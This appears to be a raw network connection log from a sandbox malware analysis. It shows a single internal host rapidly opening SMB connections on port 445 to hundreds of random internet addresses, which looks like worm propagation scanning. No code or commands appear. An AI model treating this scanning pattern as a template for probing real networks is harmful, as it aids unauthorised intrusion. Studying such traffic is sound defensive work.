Jul 20, 2022 15:45:48.589730024 CEST	54412	445	192.168.2.7	95.166.231.36
Jul 20, 2022 15:45:48.589911938 CEST	54413	445	192.168.2.7	10.235.1.80
Jul 20, 2022 15:45:48.590178967 CEST	54414	445	192.168.2.7	51.234.14.78
Jul 20, 2022 15:45:48.590399027 CEST	54418	445	192.168.2.7	57.239.196.125
Jul 20, 2022 15:45:48.590400934 CEST	54417	445	192.168.2.7	152.215.96.158
Jul 20, 2022 15:45:48.590528011 CEST	54420	445	192.168.2.7	200.247.131.234
Jul 20, 2022 15:45:48.590667963 CEST	54423	445	192.168.2.7	219.61.92.51
Jul 20, 2022 15:45:48.590814114 CEST	54428	445	192.168.2.7	170.194.244.52
Jul 20, 2022 15:45:48.590909958 CEST	54429	445	192.168.2.7	24.236.169.133
Jul 20, 2022 15:45:48.590958118 CEST	54430	445	192.168.2.7	203.184.216.233
Jul 20, 2022 15:45:48.591084957 CEST	54432	445	192.168.2.7	13.245.217.254
Jul 20, 2022 15:45:48.591111898 CEST	54433	445	192.168.2.7	55.108.180.180
Jul 20, 2022 15:45:48.591260910 CEST	54435	445	192.168.2.7	170.116.66.105
Jul 20, 2022 15:45:48.591279030 CEST	54434	445	192.168.2.7	78.148.204.38
Jul 20, 2022 15:45:48.591476917 CEST	54438	445	192.168.2.7	205.122.225.131
Jul 20, 2022 15:45:48.591609955 CEST	54443	445	192.168.2.7	45.0.99.145
Jul 20, 2022 15:45:48.591692924 CEST	54444	445	192.168.2.7	50.62.91.40
Jul 20, 2022 15:45:48.591761112 CEST	54446	445	192.168.2.7	23.5.26.224
Jul 20, 2022 15:45:48.591835976 CEST	54447	445	192.168.2.7	7.115.227.176
Jul 20, 2022 15:45:48.591975927 CEST	54451	445	192.168.2.7	25.19.36.222
Jul 20, 2022 15:45:48.592089891 CEST	54454	445	192.168.2.7	101.85.153.216
Jul 20, 2022 15:45:48.592174053 CEST	54456	445	192.168.2.7	179.119.36.251
Jul 20, 2022 15:45:48.592221022 CEST	54457	445	192.168.2.7	201.1.58.103
Jul 20, 2022 15:45:48.592328072 CEST	54459	445	192.168.2.7	87.8.179.68
Jul 20, 2022 15:45:48.592524052 CEST	54463	445	192.168.2.7	192.210.49.11
Jul 20, 2022 15:45:48.598210096 CEST	54467	445	192.168.2.7	188.18.139.58
Jul 20, 2022 15:45:48.684112072 CEST	445	54467	188.18.139.58	192.168.2.7
Jul 20, 2022 15:45:48.684267998 CEST	54467	445	192.168.2.7	188.18.139.58
Jul 20, 2022 15:45:48.684444904 CEST	54467	445	192.168.2.7	188.18.139.58
Jul 20, 2022 15:45:48.768142939 CEST	445	54467	188.18.139.58	192.168.2.7
Jul 20, 2022 15:45:48.776163101 CEST	445	54467	188.18.139.58	192.168.2.7
Jul 20, 2022 15:45:48.776340961 CEST	54467	445	192.168.2.7	188.18.139.58
Jul 20, 2022 15:45:48.864166021 CEST	445	54467	188.18.139.58	192.168.2.7
Jul 20, 2022 15:45:48.877285004 CEST	54467	445	192.168.2.7	188.18.139.58
Jul 20, 2022 15:45:48.964131117 CEST	445	54467	188.18.139.58	192.168.2.7
Jul 20, 2022 15:45:48.964339018 CEST	54467	445	192.168.2.7	188.18.139.58
Jul 20, 2022 15:45:49.048134089 CEST	445	54467	188.18.139.58	192.168.2.7
Jul 20, 2022 15:45:49.048249006 CEST	54467	445	192.168.2.7	188.18.139.58
Jul 20, 2022 15:45:49.109184980 CEST	54469	445	192.168.2.7	188.18.139.59
Jul 20, 2022 15:45:49.172255993 CEST	445	54467	188.18.139.58	192.168.2.7
Jul 20, 2022 15:45:49.172374010 CEST	54467	445	192.168.2.7	188.18.139.58
Jul 20, 2022 15:45:49.451488972 CEST	54470	445	192.168.2.7	107.186.141.31
Jul 20, 2022 15:45:49.559962034 CEST	54471	445	192.168.2.7	160.23.104.189
Jul 20, 2022 15:45:49.699934959 CEST	54474	445	192.168.2.7	191.179.177.219
Jul 20, 2022 15:45:49.700619936 CEST	54475	445	192.168.2.7	32.249.240.117
Jul 20, 2022 15:45:49.701334953 CEST	54476	445	192.168.2.7	162.170.120.227
Jul 20, 2022 15:45:49.702023983 CEST	54477	445	192.168.2.7	49.220.117.126
Jul 20, 2022 15:45:49.703373909 CEST	54479	445	192.168.2.7	139.129.37.245
Jul 20, 2022 15:45:49.704055071 CEST	54480	445	192.168.2.7	27.206.189.246
Jul 20, 2022 15:45:49.706715107 CEST	54484	445	192.168.2.7	103.179.55.107
Jul 20, 2022 15:45:49.708643913 CEST	54487	445	192.168.2.7	9.204.152.237
Jul 20, 2022 15:45:49.710572958 CEST	54490	445	192.168.2.7	197.67.158.83
Jul 20, 2022 15:45:49.711232901 CEST	54491	445	192.168.2.7	27.67.188.191
Jul 20, 2022 15:45:49.713113070 CEST	54494	445	192.168.2.7	110.150.81.229
Jul 20, 2022 15:45:49.713771105 CEST	54495	445	192.168.2.7	217.48.165.160
Jul 20, 2022 15:45:49.714412928 CEST	54496	445	192.168.2.7	3.155.83.21
Jul 20, 2022 15:45:49.716048002 CEST	54498	445	192.168.2.7	11.5.50.42
Jul 20, 2022 15:45:49.716758966 CEST	54499	445	192.168.2.7	63.1.126.215
Jul 20, 2022 15:45:49.773454905 CEST	54508	445	192.168.2.7	33.94.93.131
Jul 20, 2022 15:45:49.773607016 CEST	54513	445	192.168.2.7	168.159.106.23
Jul 20, 2022 15:45:49.773636103 CEST	54514	445	192.168.2.7	22.189.108.217
Jul 20, 2022 15:45:49.773808956 CEST	54516	445	192.168.2.7	159.23.213.137
Jul 20, 2022 15:45:49.773864985 CEST	54517	445	192.168.2.7	192.139.248.220
Jul 20, 2022 15:45:49.774024963 CEST	54521	445	192.168.2.7	213.91.214.98
Jul 20, 2022 15:45:49.774092913 CEST	54524	445	192.168.2.7	98.217.179.227
Jul 20, 2022 15:45:49.774189949 CEST	54527	445	192.168.2.7	27.89.1.63
Jul 20, 2022 15:45:49.774235964 CEST	54528	445	192.168.2.7	126.183.173.90
Jul 20, 2022 15:45:49.774292946 CEST	54529	445	192.168.2.7	173.154.133.112
Jul 20, 2022 15:45:49.774446964 CEST	54533	445	192.168.2.7	174.82.33.236
Jul 20, 2022 15:45:49.774521112 CEST	54536	445	192.168.2.7	40.105.55.225
Jul 20, 2022 15:45:50.105370045 CEST	54083	445	192.168.2.7	149.20.139.1
Jul 20, 2022 15:45:50.184261084 CEST	54540	445	192.168.2.7	188.18.139.60
Jul 20, 2022 15:45:50.292922020 CEST	54329	445	192.168.2.7	38.85.220.1
Jul 20, 2022 15:45:50.528592110 CEST	54541	445	192.168.2.7	107.186.141.32
Jul 20, 2022 15:45:50.685117960 CEST	54543	445	192.168.2.7	98.111.240.122
Jul 20, 2022 15:45:50.825190067 CEST	54545	445	192.168.2.7	146.192.121.170
Jul 20, 2022 15:45:50.825925112 CEST	54546	445	192.168.2.7	90.85.36.62
Jul 20, 2022 15:45:50.826654911 CEST	54547	445	192.168.2.7	152.127.28.103
Jul 20, 2022 15:45:50.827323914 CEST	54548	445	192.168.2.7	216.31.105.184
Jul 20, 2022 15:45:50.828767061 CEST	54550	445	192.168.2.7	27.39.201.200
Jul 20, 2022 15:45:50.829503059 CEST	54551	445	192.168.2.7	55.61.75.76
Jul 20, 2022 15:45:50.832410097 CEST	54555	445	192.168.2.7	110.143.121.0
Jul 20, 2022 15:45:50.834316015 CEST	54558	445	192.168.2.7	86.245.206.22
Jul 20, 2022 15:45:50.836218119 CEST	54561	445	192.168.2.7	47.163.12.183
Jul 20, 2022 15:45:50.836924076 CEST	54562	445	192.168.2.7	52.173.209.233
Jul 20, 2022 15:45:50.857372046 CEST	54565	445	192.168.2.7	192.222.89.101
Jul 20, 2022 15:45:50.857516050 CEST	54567	445	192.168.2.7	18.132.247.159
Jul 20, 2022 15:45:50.857563019 CEST	54566	445	192.168.2.7	83.224.92.59
Jul 20, 2022 15:45:50.857755899 CEST	54570	445	192.168.2.7	117.114.3.11
Jul 20, 2022 15:45:50.857836962 CEST	54573	445	192.168.2.7	207.112.47.169
Jul 20, 2022 15:45:50.902168036 CEST	54579	445	192.168.2.7	171.78.91.78
Jul 20, 2022 15:45:50.903067112 CEST	54583	445	192.168.2.7	38.95.234.66
Jul 20, 2022 15:45:50.903227091 CEST	54585	445	192.168.2.7	67.34.63.195
Jul 20, 2022 15:45:50.903280020 CEST	54587	445	192.168.2.7	27.190.73.109
Jul 20, 2022 15:45:50.903341055 CEST	54588	445	192.168.2.7	176.175.153.29
Jul 20, 2022 15:45:50.914304972 CEST	54593	445	192.168.2.7	56.103.109.122
Jul 20, 2022 15:45:50.914549112 CEST	54595	445	192.168.2.7	116.106.96.217
Jul 20, 2022 15:45:50.914607048 CEST	54598	445	192.168.2.7	63.186.103.152
Jul 20, 2022 15:45:50.914674044 CEST	54599	445	192.168.2.7	52.190.46.250
Jul 20, 2022 15:45:50.914776087 CEST	54601	445	192.168.2.7	181.251.191.225
Jul 20, 2022 15:45:50.914978981 CEST	54606	445	192.168.2.7	37.42.48.33
Jul 20, 2022 15:45:50.915067911 CEST	54608	445	192.168.2.7	78.50.238.56
Jul 20, 2022 15:45:51.262515068 CEST	54611	445	192.168.2.7	188.18.139.61
Jul 20, 2022 15:45:51.348506927 CEST	445	54611	188.18.139.61	192.168.2.7
Jul 20, 2022 15:45:51.348690987 CEST	54611	445	192.168.2.7	188.18.139.61
Jul 20, 2022 15:45:51.348896027 CEST	54611	445	192.168.2.7	188.18.139.61
Jul 20, 2022 15:45:51.357181072 CEST	54612	445	192.168.2.7	188.18.139.61
Jul 20, 2022 15:45:51.428705931 CEST	445	54611	188.18.139.61	192.168.2.7
Jul 20, 2022 15:45:51.436219931 CEST	445	54611	188.18.139.61	192.168.2.7
Jul 20, 2022 15:45:51.436394930 CEST	54611	445	192.168.2.7	188.18.139.61
Jul 20, 2022 15:45:51.438698053 CEST	445	54612	188.18.139.61	192.168.2.7
Jul 20, 2022 15:45:51.438843966 CEST	54612	445	192.168.2.7	188.18.139.61
Jul 20, 2022 15:45:51.439023018 CEST	54612	445	192.168.2.7	188.18.139.61
Jul 20, 2022 15:45:51.521611929 CEST	445	54612	188.18.139.61	192.168.2.7
Jul 20, 2022 15:45:51.529052973 CEST	445	54612	188.18.139.61	192.168.2.7
Jul 20, 2022 15:45:51.535928011 CEST	54612	445	192.168.2.7	188.18.139.61
Jul 20, 2022 15:45:51.607542992 CEST	54613	445	192.168.2.7	107.186.141.33
Jul 20, 2022 15:45:51.620970964 CEST	445	54612	188.18.139.61	192.168.2.7
Jul 20, 2022 15:45:51.632095098 CEST	54612	445	192.168.2.7	188.18.139.61
Jul 20, 2022 15:45:51.713433981 CEST	445	54612	188.18.139.61	192.168.2.7
Jul 20, 2022 15:45:51.713756084 CEST	54612	445	192.168.2.7	188.18.139.61
Jul 20, 2022 15:45:51.797029018 CEST	445	54612	188.18.139.61	192.168.2.7
Jul 20, 2022 15:45:51.797162056 CEST	54612	445	192.168.2.7	188.18.139.61
Jul 20, 2022 15:45:51.809640884 CEST	54614	445	192.168.2.7	121.114.149.79
Jul 20, 2022 15:45:51.881036043 CEST	445	54612	188.18.139.61	192.168.2.7
Jul 20, 2022 15:45:51.881146908 CEST	54612	445	192.168.2.7	188.18.139.61
Jul 20, 2022 15:45:51.975687981 CEST	54621	445	192.168.2.7	91.128.67.103
Jul 20, 2022 15:45:51.975692034 CEST	54620	445	192.168.2.7	132.216.61.230
Jul 20, 2022 15:45:51.975775003 CEST	54622	445	192.168.2.7	4.253.58.26
Jul 20, 2022 15:45:51.975852966 CEST	54624	445	192.168.2.7	70.226.252.216
Jul 20, 2022 15:45:51.975955963 CEST	54627	445	192.168.2.7	21.195.35.5
Jul 20, 2022 15:45:51.975982904 CEST	54626	445	192.168.2.7	47.212.118.80
Jul 20, 2022 15:45:51.976191044 CEST	54631	445	192.168.2.7	100.35.45.237
Jul 20, 2022 15:45:51.976267099 CEST	54632	445	192.168.2.7	111.39.8.40
Jul 20, 2022 15:45:51.976443052 CEST	54636	445	192.168.2.7	130.143.118.121
Jul 20, 2022 15:45:51.976555109 CEST	54637	445	192.168.2.7	134.119.87.59
Jul 20, 2022 15:45:51.984745979 CEST	54638	445	192.168.2.7	77.143.227.63
Jul 20, 2022 15:45:51.984946012 CEST	54639	445	192.168.2.7	97.67.30.222
Jul 20, 2022 15:45:51.985210896 CEST	54643	445	192.168.2.7	88.74.5.149
Jul 20, 2022 15:45:51.985233068 CEST	54644	445	192.168.2.7	166.168.69.84
Jul 20, 2022 15:45:51.985326052 CEST	54645	445	192.168.2.7	157.138.35.15
Jul 20, 2022 15:45:52.032151937 CEST	54652	445	192.168.2.7	37.9.32.149
Jul 20, 2022 15:45:52.035234928 CEST	54657	445	192.168.2.7	56.246.69.212
Jul 20, 2022 15:45:52.035754919 CEST	54658	445	192.168.2.7	106.52.211.63
Jul 20, 2022 15:45:52.036789894 CEST	54660	445	192.168.2.7	153.38.160.245
Jul 20, 2022 15:45:52.037300110 CEST	54661	445	192.168.2.7	66.3.241.120
Jul 20, 2022 15:45:52.055188894 CEST	54666	445	192.168.2.7	139.47.40.243
Jul 20, 2022 15:45:52.055964947 CEST	54669	445	192.168.2.7	59.238.64.171
Jul 20, 2022 15:45:52.056032896 CEST	54671	445	192.168.2.7	43.104.246.195
Jul 20, 2022 15:45:52.056077003 CEST	54672	445	192.168.2.7	58.219.21.164
Jul 20, 2022 15:45:52.056278944 CEST	54675	445	192.168.2.7	67.236.57.122
Jul 20, 2022 15:45:52.056302071 CEST	54678	445	192.168.2.7	105.176.42.252
Jul 20, 2022 15:45:52.056372881 CEST	54680	445	192.168.2.7	37.21.216.240
Jul 20, 2022 15:45:52.351500988 CEST	54683	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:45:52.351562977 CEST	443	54683	20.199.120.85	192.168.2.7
Jul 20, 2022 15:45:52.351691008 CEST	54683	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:45:52.352868080 CEST	54683	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:45:52.352896929 CEST	443	54683	20.199.120.85	192.168.2.7
Jul 20, 2022 15:45:52.443864107 CEST	443	54683	20.199.120.85	192.168.2.7
Jul 20, 2022 15:45:52.443989992 CEST	54683	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:45:52.447071075 CEST	54683	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:45:52.447083950 CEST	443	54683	20.199.120.85	192.168.2.7
Jul 20, 2022 15:45:52.447448969 CEST	443	54683	20.199.120.85	192.168.2.7
Jul 20, 2022 15:45:52.448566914 CEST	54683	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:45:52.448662996 CEST	54683	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:45:52.448673964 CEST	443	54683	20.199.120.85	192.168.2.7
Jul 20, 2022 15:45:52.448828936 CEST	54683	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:45:52.476038933 CEST	443	54683	20.199.120.85	192.168.2.7
Jul 20, 2022 15:45:52.476243973 CEST	443	54683	20.199.120.85	192.168.2.7
Jul 20, 2022 15:45:52.476324081 CEST	54683	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:45:52.476990938 CEST	54683	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:45:52.477030039 CEST	443	54683	20.199.120.85	192.168.2.7
Jul 20, 2022 15:45:52.685029030 CEST	54685	445	192.168.2.7	107.186.141.34
Jul 20, 2022 15:45:52.857022047 CEST	445	54685	107.186.141.34	192.168.2.7
Jul 20, 2022 15:45:52.857151985 CEST	54685	445	192.168.2.7	107.186.141.34
Jul 20, 2022 15:45:52.857263088 CEST	54685	445	192.168.2.7	107.186.141.34
Jul 20, 2022 15:45:52.870695114 CEST	54686	445	192.168.2.7	107.186.141.34
Jul 20, 2022 15:45:52.934694052 CEST	54687	445	192.168.2.7	1.106.76.42
Jul 20, 2022 15:45:53.026283979 CEST	445	54685	107.186.141.34	192.168.2.7
Jul 20, 2022 15:45:53.026331902 CEST	445	54685	107.186.141.34	192.168.2.7
Jul 20, 2022 15:45:53.039766073 CEST	445	54686	107.186.141.34	192.168.2.7
Jul 20, 2022 15:45:53.039904118 CEST	54686	445	192.168.2.7	107.186.141.34
Jul 20, 2022 15:45:53.040499926 CEST	54686	445	192.168.2.7	107.186.141.34
Jul 20, 2022 15:45:53.091775894 CEST	54693	445	192.168.2.7	149.83.135.118
Jul 20, 2022 15:45:53.092364073 CEST	54694	445	192.168.2.7	119.40.21.158
Jul 20, 2022 15:45:53.093887091 CEST	54696	445	192.168.2.7	191.74.96.180
Jul 20, 2022 15:45:53.094655037 CEST	54697	445	192.168.2.7	57.108.47.76
Jul 20, 2022 15:45:53.096179008 CEST	54699	445	192.168.2.7	28.232.60.26
Jul 20, 2022 15:45:53.096952915 CEST	54700	445	192.168.2.7	161.38.88.49
Jul 20, 2022 15:45:53.139498949 CEST	54704	445	192.168.2.7	93.57.60.9
Jul 20, 2022 15:45:53.139633894 CEST	54709	445	192.168.2.7	139.9.121.147
Jul 20, 2022 15:45:53.139703989 CEST	54710	445	192.168.2.7	99.249.15.97
Jul 20, 2022 15:45:53.139801979 CEST	54712	445	192.168.2.7	4.40.47.58
Jul 20, 2022 15:45:53.139805079 CEST	54711	445	192.168.2.7	118.252.136.167
Jul 20, 2022 15:45:53.139971018 CEST	54716	445	192.168.2.7	122.231.9.197
Jul 20, 2022 15:45:53.140002966 CEST	54717	445	192.168.2.7	172.7.123.6
Jul 20, 2022 15:45:53.140125990 CEST	54718	445	192.168.2.7	147.252.158.156
Jul 20, 2022 15:45:53.169449091 CEST	54721	445	192.168.2.7	223.153.85.251
Jul 20, 2022 15:45:53.171484947 CEST	54724	445	192.168.2.7	154.102.33.186
Jul 20, 2022 15:45:53.174957037 CEST	54725	445	192.168.2.7	60.45.25.66
Jul 20, 2022 15:45:53.185054064 CEST	54730	445	192.168.2.7	188.112.159.72
Jul 20, 2022 15:45:53.185168028 CEST	54732	445	192.168.2.7	139.16.27.191
Jul 20, 2022 15:45:53.185198069 CEST	54733	445	192.168.2.7	196.86.135.35
Jul 20, 2022 15:45:53.185370922 CEST	54736	445	192.168.2.7	201.50.140.148
Jul 20, 2022 15:45:53.185605049 CEST	54741	445	192.168.2.7	179.110.55.21
Jul 20, 2022 15:45:53.185803890 CEST	54747	445	192.168.2.7	18.75.30.249
Jul 20, 2022 15:45:53.185863972 CEST	54748	445	192.168.2.7	38.145.100.6
Jul 20, 2022 15:45:53.185946941 CEST	54750	445	192.168.2.7	112.151.45.63
Jul 20, 2022 15:45:53.186023951 CEST	54751	445	192.168.2.7	26.36.40.102
Jul 20, 2022 15:45:53.214319944 CEST	445	54686	107.186.141.34	192.168.2.7
Jul 20, 2022 15:45:53.214498043 CEST	54686	445	192.168.2.7	107.186.141.34
Jul 20, 2022 15:45:53.383699894 CEST	445	54686	107.186.141.34	192.168.2.7
Jul 20, 2022 15:45:53.384025097 CEST	54686	445	192.168.2.7	107.186.141.34
Jul 20, 2022 15:45:53.553131104 CEST	445	54686	107.186.141.34	192.168.2.7
Jul 20, 2022 15:45:54.060117006 CEST	54758	445	192.168.2.7	174.230.106.172
Jul 20, 2022 15:45:54.173157930 CEST	80	49719	93.184.220.29	192.168.2.7
Jul 20, 2022 15:45:54.173429966 CEST	49719	80	192.168.2.7	93.184.220.29
Jul 20, 2022 15:45:54.216764927 CEST	54763	445	192.168.2.7	214.21.253.215
Jul 20, 2022 15:45:54.217262030 CEST	54764	445	192.168.2.7	160.172.18.222
Jul 20, 2022 15:45:54.218389988 CEST	54766	445	192.168.2.7	165.0.24.138
Jul 20, 2022 15:45:54.218883991 CEST	54767	445	192.168.2.7	194.102.47.187
Jul 20, 2022 15:45:54.219830036 CEST	54769	445	192.168.2.7	159.123.101.11
Jul 20, 2022 15:45:54.220324993 CEST	54770	445	192.168.2.7	66.69.32.127
Jul 20, 2022 15:45:54.265091896 CEST	54775	445	192.168.2.7	13.75.17.85
Jul 20, 2022 15:45:54.266803980 CEST	54776	445	192.168.2.7	223.53.207.101
Jul 20, 2022 15:45:54.271635056 CEST	54778	445	192.168.2.7	8.9.117.131
Jul 20, 2022 15:45:54.271809101 CEST	54782	445	192.168.2.7	41.201.42.232
Jul 20, 2022 15:45:54.272017002 CEST	54784	445	192.168.2.7	157.93.148.110
Jul 20, 2022 15:45:54.272018909 CEST	54781	445	192.168.2.7	32.161.123.86
Jul 20, 2022 15:45:54.272142887 CEST	54788	445	192.168.2.7	68.164.210.230
Jul 20, 2022 15:45:54.272175074 CEST	54787	445	192.168.2.7	123.136.48.140
Jul 20, 2022 15:45:54.272310972 CEST	54790	445	192.168.2.7	14.254.123.98
Jul 20, 2022 15:45:54.281672001 CEST	54791	445	192.168.2.7	164.147.242.184
Jul 20, 2022 15:45:54.282021046 CEST	54793	445	192.168.2.7	191.193.124.102
Jul 20, 2022 15:45:54.282246113 CEST	54795	445	192.168.2.7	181.173.5.202
Jul 20, 2022 15:45:54.366497040 CEST	54802	445	192.168.2.7	5.171.23.5
Jul 20, 2022 15:45:54.396023035 CEST	54803	445	192.168.2.7	22.31.28.171
Jul 20, 2022 15:45:54.396156073 CEST	54805	445	192.168.2.7	91.107.18.74
Jul 20, 2022 15:45:54.396240950 CEST	54807	445	192.168.2.7	11.181.78.225
Jul 20, 2022 15:45:54.396435022 CEST	54812	445	192.168.2.7	170.45.136.87
Jul 20, 2022 15:45:54.396699905 CEST	54818	445	192.168.2.7	99.117.74.18
Jul 20, 2022 15:45:54.396703005 CEST	54819	445	192.168.2.7	52.97.88.17
Jul 20, 2022 15:45:54.396851063 CEST	54820	445	192.168.2.7	98.159.201.34
Jul 20, 2022 15:45:54.396907091 CEST	54822	445	192.168.2.7	151.23.253.106
Jul 20, 2022 15:45:54.605773926 CEST	53226	445	192.168.2.7	38.85.220.1
Jul 20, 2022 15:45:54.632728100 CEST	80	49720	93.184.220.29	192.168.2.7
Jul 20, 2022 15:45:54.632944107 CEST	49720	80	192.168.2.7	93.184.220.29
Jul 20, 2022 15:45:54.820982933 CEST	54828	445	192.168.2.7	188.18.139.61
Jul 20, 2022 15:45:54.908341885 CEST	445	54828	188.18.139.61	192.168.2.7
Jul 20, 2022 15:45:54.908598900 CEST	54828	445	192.168.2.7	188.18.139.61
Jul 20, 2022 15:45:54.909918070 CEST	54828	445	192.168.2.7	188.18.139.61
Jul 20, 2022 15:45:54.992295027 CEST	445	54828	188.18.139.61	192.168.2.7
Jul 20, 2022 15:45:55.000214100 CEST	445	54828	188.18.139.61	192.168.2.7
Jul 20, 2022 15:45:55.000473976 CEST	54828	445	192.168.2.7	188.18.139.61
Jul 20, 2022 15:45:55.084250927 CEST	445	54828	188.18.139.61	192.168.2.7
Jul 20, 2022 15:45:55.084495068 CEST	54828	445	192.168.2.7	188.18.139.61
Jul 20, 2022 15:45:55.168613911 CEST	445	54828	188.18.139.61	192.168.2.7
Jul 20, 2022 15:45:55.168872118 CEST	54828	445	192.168.2.7	188.18.139.61
Jul 20, 2022 15:45:55.185286999 CEST	54830	445	192.168.2.7	50.217.252.204
Jul 20, 2022 15:45:55.253807068 CEST	445	54828	188.18.139.61	192.168.2.7
Jul 20, 2022 15:45:55.253938913 CEST	54828	445	192.168.2.7	188.18.139.61
Jul 20, 2022 15:45:55.314708948 CEST	54834	445	192.168.2.7	188.18.139.62
Jul 20, 2022 15:45:55.326325893 CEST	54836	445	192.168.2.7	103.149.9.246
Jul 20, 2022 15:45:55.327085018 CEST	54837	445	192.168.2.7	29.171.249.119
Jul 20, 2022 15:45:55.328530073 CEST	54839	445	192.168.2.7	130.35.227.7
Jul 20, 2022 15:45:55.329158068 CEST	54840	445	192.168.2.7	148.183.78.144
Jul 20, 2022 15:45:55.332561016 CEST	54842	445	192.168.2.7	13.219.130.195
Jul 20, 2022 15:45:55.333174944 CEST	54843	445	192.168.2.7	45.130.251.159
Jul 20, 2022 15:45:55.340179920 CEST	445	54828	188.18.139.61	192.168.2.7
Jul 20, 2022 15:45:55.340296030 CEST	54828	445	192.168.2.7	188.18.139.61
Jul 20, 2022 15:45:55.391371012 CEST	54847	445	192.168.2.7	168.56.47.40
Jul 20, 2022 15:45:55.398749113 CEST	54849	445	192.168.2.7	68.164.80.175
Jul 20, 2022 15:45:55.398899078 CEST	54852	445	192.168.2.7	124.116.179.254
Jul 20, 2022 15:45:55.398962021 CEST	54853	445	192.168.2.7	147.214.84.231
Jul 20, 2022 15:45:55.399065971 CEST	54854	445	192.168.2.7	10.177.39.175
Jul 20, 2022 15:45:55.399163008 CEST	54857	445	192.168.2.7	105.47.167.152
Jul 20, 2022 15:45:55.399281979 CEST	54859	445	192.168.2.7	191.239.232.61
Jul 20, 2022 15:45:55.399375916 CEST	54862	445	192.168.2.7	59.252.175.29
Jul 20, 2022 15:45:55.399425030 CEST	54863	445	192.168.2.7	59.218.97.198
Jul 20, 2022 15:45:55.402715921 CEST	53176	445	192.168.2.7	38.85.220.156
Jul 20, 2022 15:45:55.405949116 CEST	54864	445	192.168.2.7	177.164.46.85
Jul 20, 2022 15:45:55.406080961 CEST	54867	445	192.168.2.7	69.65.136.92
Jul 20, 2022 15:45:55.406146049 CEST	54869	445	192.168.2.7	43.74.21.81
Jul 20, 2022 15:45:55.483026981 CEST	54875	445	192.168.2.7	108.177.252.15
Jul 20, 2022 15:45:55.483385086 CEST	445	54836	103.149.9.246	192.168.2.7
Jul 20, 2022 15:45:55.523202896 CEST	54877	445	192.168.2.7	178.45.213.19
Jul 20, 2022 15:45:55.523778915 CEST	54878	445	192.168.2.7	144.174.219.170
Jul 20, 2022 15:45:55.524012089 CEST	54879	445	192.168.2.7	206.22.25.118
Jul 20, 2022 15:45:55.524218082 CEST	54886	445	192.168.2.7	60.110.26.13
Jul 20, 2022 15:45:55.524468899 CEST	54892	445	192.168.2.7	73.23.178.74
Jul 20, 2022 15:45:55.524494886 CEST	54891	445	192.168.2.7	183.254.14.120
Jul 20, 2022 15:45:55.524633884 CEST	54894	445	192.168.2.7	212.60.97.63
Jul 20, 2022 15:45:55.524701118 CEST	54895	445	192.168.2.7	41.213.254.87
Jul 20, 2022 15:45:55.836110115 CEST	445	54886	60.110.26.13	192.168.2.7
Jul 20, 2022 15:45:56.106127977 CEST	54836	445	192.168.2.7	103.149.9.246
Jul 20, 2022 15:45:56.266915083 CEST	445	54836	103.149.9.246	192.168.2.7
Jul 20, 2022 15:45:56.293663025 CEST	54329	445	192.168.2.7	38.85.220.1
Jul 20, 2022 15:45:56.309942007 CEST	54903	445	192.168.2.7	15.0.227.244
Jul 20, 2022 15:45:56.388219118 CEST	54906	445	192.168.2.7	188.18.139.63
Jul 20, 2022 15:45:56.402847052 CEST	54886	445	192.168.2.7	60.110.26.13
Jul 20, 2022 15:45:56.459870100 CEST	54908	445	192.168.2.7	153.114.24.90
Jul 20, 2022 15:45:56.464410067 CEST	445	54329	38.85.220.1	192.168.2.7
Jul 20, 2022 15:45:56.464512110 CEST	54329	445	192.168.2.7	38.85.220.1
Jul 20, 2022 15:45:56.464663982 CEST	54329	445	192.168.2.7	38.85.220.1
Jul 20, 2022 15:45:56.468869925 CEST	54911	445	192.168.2.7	118.143.196.4
Jul 20, 2022 15:45:56.469057083 CEST	54913	445	192.168.2.7	3.187.19.214
Jul 20, 2022 15:45:56.469162941 CEST	54914	445	192.168.2.7	209.224.140.60
Jul 20, 2022 15:45:56.469265938 CEST	54916	445	192.168.2.7	77.82.207.108
Jul 20, 2022 15:45:56.469353914 CEST	54918	445	192.168.2.7	4.13.230.78
Jul 20, 2022 15:45:56.513732910 CEST	54920	445	192.168.2.7	36.3.3.24
Jul 20, 2022 15:45:56.515245914 CEST	54922	445	192.168.2.7	202.161.138.185
Jul 20, 2022 15:45:56.517319918 CEST	54925	445	192.168.2.7	78.173.10.138
Jul 20, 2022 15:45:56.518034935 CEST	54926	445	192.168.2.7	20.182.188.121
Jul 20, 2022 15:45:56.519298077 CEST	54928	445	192.168.2.7	19.224.164.92
Jul 20, 2022 15:45:56.521174908 CEST	54931	445	192.168.2.7	98.206.159.100
Jul 20, 2022 15:45:56.522483110 CEST	54933	445	192.168.2.7	10.138.23.19
Jul 20, 2022 15:45:56.524005890 CEST	54935	445	192.168.2.7	75.232.218.27
Jul 20, 2022 15:45:56.524687052 CEST	54936	445	192.168.2.7	62.13.245.38
Jul 20, 2022 15:45:56.531899929 CEST	54937	445	192.168.2.7	57.15.180.38
Jul 20, 2022 15:45:56.532479048 CEST	54938	445	192.168.2.7	187.254.144.146
Jul 20, 2022 15:45:56.534667015 CEST	54941	445	192.168.2.7	37.23.231.196
Jul 20, 2022 15:45:56.559623957 CEST	54948	445	192.168.2.7	107.186.141.34
Jul 20, 2022 15:45:56.606760025 CEST	54949	445	192.168.2.7	61.142.108.67
Jul 20, 2022 15:45:56.640541077 CEST	54954	445	192.168.2.7	132.124.11.94
Jul 20, 2022 15:45:56.641177893 CEST	54955	445	192.168.2.7	46.128.25.229
Jul 20, 2022 15:45:56.642275095 CEST	54957	445	192.168.2.7	143.108.139.238
Jul 20, 2022 15:45:56.642838001 CEST	54958	445	192.168.2.7	204.193.170.228
Jul 20, 2022 15:45:56.645999908 CEST	54964	445	192.168.2.7	11.173.228.154
Jul 20, 2022 15:45:56.648739100 CEST	54969	445	192.168.2.7	45.132.113.140
Jul 20, 2022 15:45:56.650280952 CEST	54970	445	192.168.2.7	105.249.101.212
Jul 20, 2022 15:45:56.662137032 CEST	54972	445	192.168.2.7	62.45.196.236
Jul 20, 2022 15:45:56.714961052 CEST	445	54886	60.110.26.13	192.168.2.7
Jul 20, 2022 15:45:56.728645086 CEST	445	54948	107.186.141.34	192.168.2.7
